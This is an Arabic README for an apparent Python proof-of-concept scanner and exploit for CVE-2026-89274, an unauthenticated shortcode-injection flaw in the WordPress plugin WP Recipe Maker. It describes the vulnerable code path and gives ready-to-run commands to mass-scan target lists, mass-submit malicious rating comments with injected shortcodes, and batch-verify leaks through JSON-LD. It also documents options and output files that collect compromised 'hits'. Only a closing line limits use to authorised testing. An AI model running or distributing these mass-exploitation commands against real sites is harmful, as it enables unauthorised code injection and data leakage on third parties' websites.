
ماسح PoC بلغة Python واستغلال لـ CVE-2026-89274، وهي ثغرة تنفيذ اختصار عشوائي دون مصادقة في WP Recipe Maker <=10.8.1 عبر تعليقات تقييم الوصفات وJSON-LD.
ماسح/مستغل PoC بلغة Python 3 لـ CVE-2026-89274 في WP Recipe Maker.
| الإضافة | wp-recipe-maker |
| المتأثرة | ≤ 10.8.1 |
| تم الإصلاح في | 10.8.2+ |
| CVSS | 9.1 (حرجة) |
| المصادقة | بدون مصادقة (إرسال تعليق) |
| CWE | CWE-94 |
تقوم WPRM_Metadata::sanitize_metadata() بتشغيل do_shortcode() على حقول البيانات الوصفية قبل strip_shortcodes(). تعليقات تقييم الوصفات المعتمدة (wprm-comment-rating) تملأ reviewBody في JSON-LD؛ الـ shortcodes المحقونة تُنفَّذ عند تحميل صفحة الوصفة ويمكن أن تسرّب المخرجات في البيانات المهيكلة.
المتطلب: يجب أن يكون التعليق الخبيث معتمداً (اعتماد تلقائي أو من مشرف). يمكن لوضع الاستغلال استخدام --verify لتأكيد ظهور العلامة في reviewBody ضمن JSON-LD.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt (وضع verify)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| الخيار | الوصف |
|---|---|
-u, --url | عنوان URL الأساسي لهدف واحد |
--list | قائمة عناوين URL، أو candidates.jsonl، أو submitted_mass.txt (verify) |
--mode | check أو exploit أو verify |
--recipe-url | عنوان URL للمنشور مع وصفة WPRM مضمّنة + تعليقات |
--post-id | comment_post_ID في WordPress |
--recipe-id | معرّف وصفة WPRM (اختياري --use-api) |
--shortcode | الحمولة في نص التعليق (shortcode فحص افتراضي) |
--marker | Verify: البحث في JSON-LD عن سلسلة العلامة |
--verify | Exploit: تأكيد التسريب في JSON-LD بعد الإرسال |
--use-api | أيضاً تجربة مسار REST لتقييم المستخدم في Premium |
--threads, -j | التزامن الجماعي (افتراضي 20) |
--output | نتائج JSONL (افتراضي cve_2026_89274_results.jsonl) |
--vuln-list | إخراج نصي للإصابات/التسريبات (افتراضي hits.txt) |
--candidates-list | بيانات وصفية لإصابات الفحص (افتراضي candidates.jsonl) |
--quiet | إخراج تقدّم أقل في التشغيلات الجماعية |
| الملف | المحتوى |
|---|---|
cve_2026_89274_results.jsonl | JSON لكل هدف |
hits.txt | عناوين URL الأساسية المرشّحة |
candidates.jsonl | page_url، post_id، recipe_id، version |
status الشائعة (check)| الحالة | المعنى |
|---|---|
candidate | إصدار قابل للاستغلال + صفحة وصفة تحتوي على wprm-comment-rating |
plugin_no_recipe_comments | الإضافة موجودة، لم يتم العثور على وصفة/صفحة تعليق مناسبة |
recipe_no_comment_rating | صفحة وصفة بدون نموذج تعليق تقييم |
patched | الإصدار ≥ 10.8.2 |
no_plugin | لم يتم اكتشاف WP Recipe Maker |
[caption])./blog/، /recipes/) قد لا تُظهر تسريبات JSON-LD؛ يفضّل الاستغلال روابط دائمة لوصفة واحدة عند اكتشاف الصفحات.--verify يؤكد فقط انعكاس JSON-LD، وليس RCE كاملاً..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
قوائم الفحص المحلية ومخرجات التشغيل (list.txt، *.jsonl، submitted_mass.txt، …) موجودة في .gitignore ولا ينبغي إيداعها.
لـ اختبارات الأمان المصرّح بها فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرامج.